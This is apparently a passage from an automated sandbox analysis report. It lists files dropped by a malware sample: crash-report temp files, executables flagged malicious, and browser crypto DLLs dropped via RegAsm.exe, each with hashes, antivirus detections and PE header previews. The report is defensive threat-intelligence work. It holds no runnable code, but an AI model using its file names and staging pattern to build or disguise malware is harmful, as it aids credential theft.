Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.7.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A11.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4848
Entropy (8bit):	4.537447273377402
Encrypted:	false
SSDEEP:	48:cvIwWl8zsiJg77aI9xWWpW8VYj1Ym8M4JSAd6FQO+q8vadE11EeeSX9gd:uIjfwI7/37VJJrAKwE11veSX2d
MD5:	9BBEE040B12FA8C7D68359611FC569DA
SHA1:	42D77DA4855EDA5865C6C4D53E110D6C01874A7C
SHA-256:	B8BE521288A52E159235D0AA8D847E49A6E6BB429F8E67D808450FB95B9E054E
SHA-512:	A0636AC2A538B6B05F24FC4BF4F250BDE81D06B03E6F96FB3AF5803BA16612234D3FD21D80F2D949D0611494A70C5D29A11FFAFB2DBA94997F5ADECA92B3B082
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="509916" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9ABE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96414
Entropy (8bit):	3.1086098656144063
Encrypted:	false
SSDEEP:	1536:0PCJw7u1YWnpUXVnm8pYHMsWkX3jZGgBoYL4z+xhBRyqAEsfcQTyQXYQpaWC517Q:0PCJw7u1YWnpUXVnm8pYHMszX3jZGgBU
MD5:	91ECA4DB5A84C16C7A4F9BBD21074F05
SHA1:	EC2346AFEBF5C7FDD2CC04DEDC15BAA2A5F5AA51
SHA-256:	A4506A33E34CFD389C9C6EC843A3BB01A1EDB502A083E660AB239EC0B371AA3A
SHA-512:	3FB97E73466209D38D5C5DDEE8A04262C222A4B473B6ADE804FDF308D3C56D573BF963BB1110D028F5A97B303602F53DB3A3C49019DE07BB7106F48649BDFD34
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA06C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.684741706463871
Encrypted:	false
SSDEEP:	96:TiZYW3D97Ba+Y1Y45zrW58HhYEZ5matdi3EvqBPwQ6nGMaQp3M9fWMvIbu3:2ZD3JilmDNcTaQp3M9fdAbu3
MD5:	E29AAC27C3E150CBDBF041F3C32C1154
SHA1:	338E1C08F5DFA07C0A20F6F99192F7044B1DEA11
SHA-256:	F95B2ED44782933757BC7055688E237C72154F36AAF1DFFDAE5CC6543A9310B7
SHA-512:	0B1FA32898F9861BA829820EE39443053519DEA9E32C50F85637054B8E79E5198BB123B7FFC8F7A73EE0A5F4BEB91088230066F27F38490ACF97DBE626D02FEA
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA29F.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6848623160226883
Encrypted:	false
SSDEEP:	96:TiZYW3KGQZjrkYsaYfWTbHbYEZn/VtdiKEqw2wZ9BXaHpiMxaKtIz+u3:2ZD3hm1dODXaHpiMxaKyz+u3
MD5:	D21380892B24AB4340DC0CD51B1749A6
SHA1:	81FF0B8F092422E4CC9987F66DDFDB543EB9E389
SHA-256:	DF89FF0CFBE581507E781E7935FC31A8477A956F4C481F0AA0FFE3B5A5892892
SHA-512:	7B67989A60445108165CEF1BC6C4A6B97EA01DC54BF8416A534C82B608C79EEB00A28863E4C06550D6CD0FBEC6EE6BA95181A916C854AF3205A3D6E25B1306FE
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB26F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	96282
Entropy (8bit):	3.1093427773845193
Encrypted:	false
SSDEEP:	1536:d07pe7C9UK1XGNH7Bvb8HajfkX3jZGgBoYL4z+xhBRyqAEsfcQTyQXYTIt5bKX7g:d07pe7C9UK1XGNH7Bvb8HajsX3jZGgBS
MD5:	E6526B004765DEB68509526C79DBCEDA
SHA1:	D0DBF8FC98B48113465582C42C50CCBA48783A26
SHA-256:	9322A238B262E1F6DE93A88DCF02D2A0B63D3FDB0E0DD712A19472B4C1752436
SHA-512:	B37CE0D02C8B5B6E8E76227C313BB6A7DAE3A7F21443869ECC924011AAED3F572424D6E8583F41D49F92F665D7CFE5D876CD0B9E40FFFE8B253A71B3C9FDEB7A
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8D9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6863681294160666
Encrypted:	false
SSDEEP:	96:TiZYW3fduFxYQU3Y8WoSHPYEZ093tdiTMGDmUwFn08aFp8MIQxyI9u3:2ZD3AVct9amnVaFp8MIQxV9u3
MD5:	61990F2D62AB6D847BC6593948F465CA
SHA1:	5A3724739E6D0FC3837EBC847CB9D20EF2D5A74C
SHA-256:	9471CFCEB8DE5AEE4016FC5CA60710BD894AC382218FABA00D6261D1E0D24E79
SHA-512:	DFDD032F2DFD9ACC8F612F54EA0CCD81EF1AD6B5E60941E14AB77831AA57CF3FBE6DDC102BB37FE4FD2B1F6E988AB05FC031951D7113EF5865AB01A9B3BB220C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11496960
Entropy (8bit):	7.95681767955623
Encrypted:	false
SSDEEP:	196608:0GTSo6ARyCFMI19DwkfAuYI8wha0mlCGMbM77RWWuhJzoSpc92tQRqIDfrDap1B6:0GTz6uyCfDwkfAuH8kv477RWXJs59Nqs
MD5:	D60D266E8FBDBD7794653ECF2ABA26ED
SHA1:	469ED7D853D590E90F05BDF77AF114B84C88DE2C
SHA-256:	D4DF1ABA83289161D578336E1B7B6DAF7269BB73ACC92BD9DFA2C262EBC6C4D2
SHA-512:	80DF5D568E34DFC086F546E8D076749E58A7230ED1AA33F3A5C9D966809BECADC9922317095032D6E6A7ECDFBFBCE02A72CC82513AB0D132C5FFA6C07682BD87
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 64%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....+.f..........#.................]p.........@.............................`............ .....................................................<....P......@...`*...........................................F..(.......8............... ............................text...6........................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0..p.-......................... ..`.text1..X...........................@....text2...`.......b..................`..h.rsrc........P.......h..............@..@........................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\jewkkwnf\jewkkwnf.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:	24576:WdYRGW0Hr/0s93L2wy3Dz39bQw4D68c1y3wYx0DRTejblcicS32UxibH:6YRGWYJqw0DL9swKw18wG0DRTejblci0
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)

Download File

Process:	C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1075200
Entropy (8bit):	7.828820550765554
Encrypted:	false
SSDEEP:	24576:WdYRGW0Hr/0s93L2wy3Dz39bQw4D68c1y3wYx0DRTejblcicS32UxibH:6YRGWYJqw0DL9swKw18wG0DRTejblci0
MD5:	8C8AF20BF6536903C1D042CEBEDE6475
SHA1:	8EF42ABC3AD478F6D8C17691FE4CC1975CA43684
SHA-256:	B15BDB0A4D7F265CF4ED7C46668F4CA247347CA2CE4A7689CB8DBB25863F294A
SHA-512:	8F68E5302D07FB74DDE0E42E0D370E1CB7C1D6B0372633FCFAAB95CD1D12F9786C4E44E71B3CC98EEEB60EA10F54497773C3B4AA58AFA5297FAD93A3F11097E0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42% Antivirus: Virustotal, Detection: 33%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................P..@...&.......^... ...`....@.. ...............................D....@..................................]..O....`..F#...........................]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc...F#...`...$...B..............@..@.reloc...............f..............@..B.................]......H........D...J..............`.............................................(....&..(......s.........s ........s!........s"........s#...........0...........~....o$....+...0...........~....o%....+...0...........~....o&....+...0...........~....o'....+...0...........~....o(....+...0..<........~.....().....,!r...p.....(...o+...s,............~.....+...0...........~.....+.."........0..&........(....r)..p~....o-...(......t.....+..Vs....(/...t...........(0...*.0..........

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	65275
Entropy (8bit):	6.606957433424139
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86M:lw28V55At/zqw+Iq9ecbA2W8B
MD5:	D24DA06AD00B080067E1CB66B7AE6E95
SHA1:	11272695631DB45C51AEC598DFD26BF975FC4F88
SHA-256:	525137D8F37119EA0C16C7CFF48999F196D126E7B8AE72C30F251636579DE535
SHA-512:	51CFA065EF174A7E2B45221D350514F20DAACF382F533323A8442ECFF4F7389389CF10E93C97642F139582A104D992E9E05286B8C20551708ED1252F4D9AF471
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userAEBAKJDGHI.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
